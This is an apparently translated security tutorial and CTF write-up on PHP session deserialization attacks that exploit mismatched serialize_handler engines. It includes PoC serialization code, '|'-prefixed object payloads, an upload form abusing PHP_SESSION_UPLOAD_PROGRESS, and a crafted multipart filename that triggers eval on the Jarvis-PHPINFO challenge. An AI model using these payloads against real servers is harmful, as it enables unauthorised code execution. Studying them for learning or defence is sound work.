Article directory
- prerequisite knowledge
-
- php code
- session_start
- session.upload_progress.enabled
- session.use_trans_sid
- Session configuration in php.ini
- Initial recurrence
-
- principle
- the case
- No $_SESSION variable assignment
-
- Case: Jarvis-PHPINFO
-
- poc
- 1.html
- change traffic package
Prerequisite knowledge
php code
<?php error_reporting(0); ini_set('session. serialize_handler','php'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
session_start
When the session starts automatically or manually via session_start(), PHP will internally obtain the existing corresponding session data (ie session file) based on the PHPSESSID sent by the client, and PHP will automatically deserialize the contents of the session file, and populate it into the $_SESSION superglobal variable. If there is no corresponding session data, create a file named sess_PHPSESSID (from the client). If no PHPSESSID is sent by the client, a 32-letter PHPSESSID is created and set-cookie is returned.
When PHP stops, it will automatically read the content in
$_SESSION
,serialize
it, and then send it to the session save manager for saving.
Set-Cookie: PHPSESSID=22nf03m50uu2brq62ap515gjo4; path=/
session.upload_progress.enabled
This is also a parameter set by php. On the phpinfo page of this question, we can see that this parameter is On. And when it is On, if we POST a parameter and a file to the server, we can add a piece of data to the session. However, there are conditions: the name of the parameter must be the same as the value of the parameter “session.upload_progress.name”. “session.upload_progress.name” can be found in the php.ini file, and the default is “PHP_SESSION_UPLOAD_PROGRESS”.
session.use_trans_sid
Sometimes browser user settings prohibit cookies. When client-side cookies are disabled, php can also automatically add session id to the url parameter and the hidden field of the form, but this requires the session in php.ini .use_trans_sid is set to open, and you can also call ini_set at runtime to set this configuration item.
Session configuration in php.ini
session.save_path=”” –Set the storage path of the session
session.save_handler=”” – set user-defined storage function, if you want to use PHP’s built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen – Specifies whether the session module starts a session at the beginning of the request, defaults to 0 and does not start
session.serialize_handler string – defines the name of the handler used for serialization/deserialization. php is used by default
session.auto_start Off session. save_handler files session.save_path D:\phpstudy_pro\Extensions\tmp\tmp session.serialize_handler php
There are three engines defined by session.serialize_handler
, as shown in the following table:
Processor name | Storage format |
---|---|
php | key name + vertical bar + value serialized by serialize() function |
php_binary | key name The corresponding ASCII character + key name + the value serialized by the serialize() function |
php_serialize | The array |
serialized by the serialize() function
Open the save path to find the file name corresponding to the sessionID and find the following content
session|s:6:"coleak";
compare three different
session|s:6:"coleak"; <0x07>sessions:6:"coleak";//0x07 here is an invisible character a:1:{s:7:"session";s:6:"coleak";}
If built on Linux, common php-session
storage locations are:
/var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED
Initial recurrence
Principle
Use a different engine to process session files
Case
1.php
<?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION['name'] = $_GET['a']; echo "<pre>"; var_dump($_SESSION); echo "
“;
?>
2.php
<?php ini_set('session. serialize_handler', 'php'); session_start(); class student{<!-- --> var $name; var $age; function __wakeup(){<!-- --> echo "hello ".$this->name."!"; } } ?>
First visit 1.php, and add a ‘|’ at the beginning of the incoming parameter. Since 1.php is processed by the php_serialize engine, it will only treat ‘|’ as a normal character. Then visit 2.php, because the php engine is used, so when encountering ‘|’, it will be regarded as the separator between the key name and the value, resulting in ambiguity, causing it to directly compare ‘|’ when parsing the session file The value after ‘ is deserialized.
poc
<?php class student{<!-- --> var $name; var $age; } $a = new student(); $a->name = "coleak"; $a->age = "100"; echo serialize($a); ?>
O:7:”student”:2:{s:4:”name”;s:6:”coleak”;s:3:”age”;s:3:”100″;}
payload
|O:7:”student”:2:{s:4:”name”;s:6:”coleak”;s:3:”age”;s:3:”100″;}
View the file content at this time
a:1:{s:4:“name”;s:63:“|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3: “age”;s:3:”100″;}”;}
access2.php
hello coleak!
No $_SESSION variable assignment
There is also an upload_process mechanism in PHP, which automatically creates a key-value pair in $_SESSION. There is just a user-controllable part in the value. See the official description. This function uses the session to return the uploaded file in real time during the file upload process. schedule
Here you need to upload the file first, and POST a variable with the same name as session.upload_process.name. The backend will automatically serialize the POST variable with the same name as a key and store it in the session file. The next request will deserialize the session file and extract the key from it. So the attack point is exactly the same as the previous part, and the program still uses a different session processing engine.
session.upload_progress.enabled = On -- Indicates that upload progress tracking is allowed and the $_SESSION variable is filled session.upload_progress.cleanup = Off -- Indicates that after all POST data (that is, the upload is completed), the progress information is not cleaned ($_SESSION variable)
Case: Jarvis-PHPINFO
<?php //A webshell is wait for you ini_set('session. serialize_handler', 'php'); session_start(); class OowoO {<!-- --> public $mdzz; function __construct() {<!-- --> $this->mdzz = 'phpinfo();'; } function __destruct() {<!-- --> eval($this->mdzz); } } if(isset($_GET['phpinfo'])) {<!-- --> $m = new OowoO(); } else {<!-- --> highlight_string(file_get_contents('index.php')); } ?>
Check phpinfo to find different processing engines
session.serialize_handler php php_serialize
session.upload_progress.enabled On On
session.upload_progress.cleanup Off Off
poc
<?php class OowoO {<!-- --> public $mdzz = "print_r(scandir(dirname(__FILE__)));"; } echo(serialize(new OowoO())); ?>
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
payload
|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__ )));";}
1.html
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <form action = "http://localhost:8084/index.php" method = "POST" enctype = "multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123"> <input type="file" name="file"> <input type="submit"> </form> </body> </html>
Change traffic package
Content-Disposition: form-data; name="file"; filename="|O:5:"OowoO":1:{s:4:"mdzz ";s:36:"print_r(scandir(dirname(__FILE__)));";}" Content-Type: text/plain